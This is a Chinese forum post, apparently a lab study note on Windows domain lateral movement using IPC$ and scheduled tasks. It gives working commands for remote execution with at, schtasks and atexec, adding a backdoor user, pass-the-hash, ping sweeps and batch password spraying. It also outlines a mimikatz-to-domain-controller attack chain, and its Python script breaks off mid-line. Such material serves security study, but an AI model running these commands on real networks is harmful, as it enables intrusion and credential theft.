内网渗透学习(三)域横向移动——计划任务

打印 上一主题 下一主题

主题 887|帖子 887|积分 2661

环境准备:

2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45
2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345
2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345
2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45
当前机器域用户密码 :
god\dbadmin:admin!@#45
w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45
w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :
.\jack : admin
当前机器域用户密码 :
god\boss : Admin12345
一、计划任务

1.介绍

(1)计划任务简介

windows 有一个任务计划程序,可以打开这个程序,创建定时的任务。windows 提供了两个命令行可以创建计划任务,分别是 at 和 schtasks。在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
适用系统:
at:< Windows2012
schtasks:>=Windows2012
(2)IPC 简介

IPC( Internet Process Connection)是共享“命名管道”的资管,它是为了让进城间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管路计算机和查看计算机的共享资源时使用。
IPC 连接的简单使用:
建立 IPC 连接
net use \\IP地址\ipc$ "password" /user:"administrator"
通过 IPC 传文件
copy 文件名 \\IP地址\目录$
查看对方电脑时间
net time \\IP地址
定时运行程序
at \\IP地址 时间 文件名
断开 IPC 连接
net use \\IP地址 /del
建立 IPC 失败的原因:

  • 目标系统不是 Windows NT 或以上的操作系统
  • 对方没有打开IPC$共享
  • 对方未开启139,445端口,或者被防火墙屏蔽
  • 输出命令,账号密码有错误
(3)利用流程


  • 建立 IPC 链接到目标主机
  • 拷贝要执行的命令脚本到目标主机
  • 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  • 删除 IPC 链接
2.演示

(1)明文传递(at&schtasks)

①at 命令演示

创建 add.bat 文件,将下列命令写入,表示创建名为 zzz 密码为 Admin123$%. 的账户
net user zzz Admin123$%. /add
建立 ipc 连接
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
拷贝执行文件到目标机器
copy add.bat \\192.168.3.21\c$
添加计划任务
at \\192.168.3.21 15:47 c:\add.bat

去域控查看发现 zzz 用户已被成功添加

②schtasks 命令演示

建立ipc连接
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
复制文件到其 C 盘
copy add.bat \\192.168.3.32\c$
创建 adduser 任务对应执行文件
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F
运行 adduser 任务
schtasks /run /s 192.168.3.32 /tn adduser /i
执行命令

进入 win2012 主机查看,任务执行成功,zzz 用户被成功添加

(2)哈希传递(atexec.exe)

以上两个命令都是建立在明文密码的传递,那哈希值该如何传递?
可以使用 impacket 中的 atexec.exe
优点:既可以用明文传输也可以使用hash传输,能自动提权
缺点:非官方软件,需要做免杀
exe 版本下载地址:https://github.com/maaaaz/impacket-examples-windows
atexec.exe 使用
atexec.exe ./[用户名]:[密码]@[IP] "[命令]"
atexec.exe [域名]/[用户名]:[密码]@[IP] "[命令]"
atexec.exe -hashes [密码的hash值] ./[用户名]@[IP] "[命令]"
如图明文和哈希值均可传递,并且连接后自动提权

二、批量验证

以上两次演示都是建立在我们已经知道密码的情况下,实战过程使用mimikatz获取本机密码然后检测其它主机是否也使用了该密码,这需要我们去批量验证
1.Windows 批处理文件

什么是批处理文件?
批处理文件(batch file)包含一系列 DOS 命令,通常用于自动执行重复性任务。用户只需双击批处理文件便可执行任务,而无需重复输入相同指令。
批处理验证演示
(1)创建 ip 地址字典
探针域内存活主机地址信息
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="

创建 ips.txt,将收集的ip地址写入

(2)创建批处理文件
创建名为 at_ip.bat 的文件,将如下命令写入
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator

该命令含义:对 ips.txt 中的每一个 ip 地址,使用 IPC 进行连接
(3)开始检测
执行创建好的at_ip.bat脚本
at_ip.bat

192.168.3.331是本机 ip 地址,从图中可以验证出192.168.3.29和192.168.3.32这两台主机的administrator 的密码为 admin!@#45
思路
从上面的演示中,可以得到域横向移动的思路,获取到 web 服务器的 administrator 的密码之后,通过批量 ipc 连接,查看同一个域下有没有相同的密码,然后再在其它域内主机中使用 mimikatz 丰富密码字典,最终对域控制器进行密码爆破得到域控权限。
获取到某域主机权限-> minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
2.脚本使用

为什么要使用脚本?
使用windows批处理命令,对多个变量进行遍历较为麻烦,而我们需要对 ip、用户名、密码、哈希一起爆破,就需要利用脚本进行批量处理。
思路
使用 python 写脚本,利用第三方软件将其转换为 exe 文件,再对其进行免杀,上传至
我们控制的主机运行,实现批量验证
python 代码实例
点击查看代码[code]import os,timeips={    #域内ip地址} users={    #收集的用户名}passs={    #收集的密码} for ip in ips:   for user in users:       for mima in passs:           exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user           print('--->'+exec+'

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

兜兜零元

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表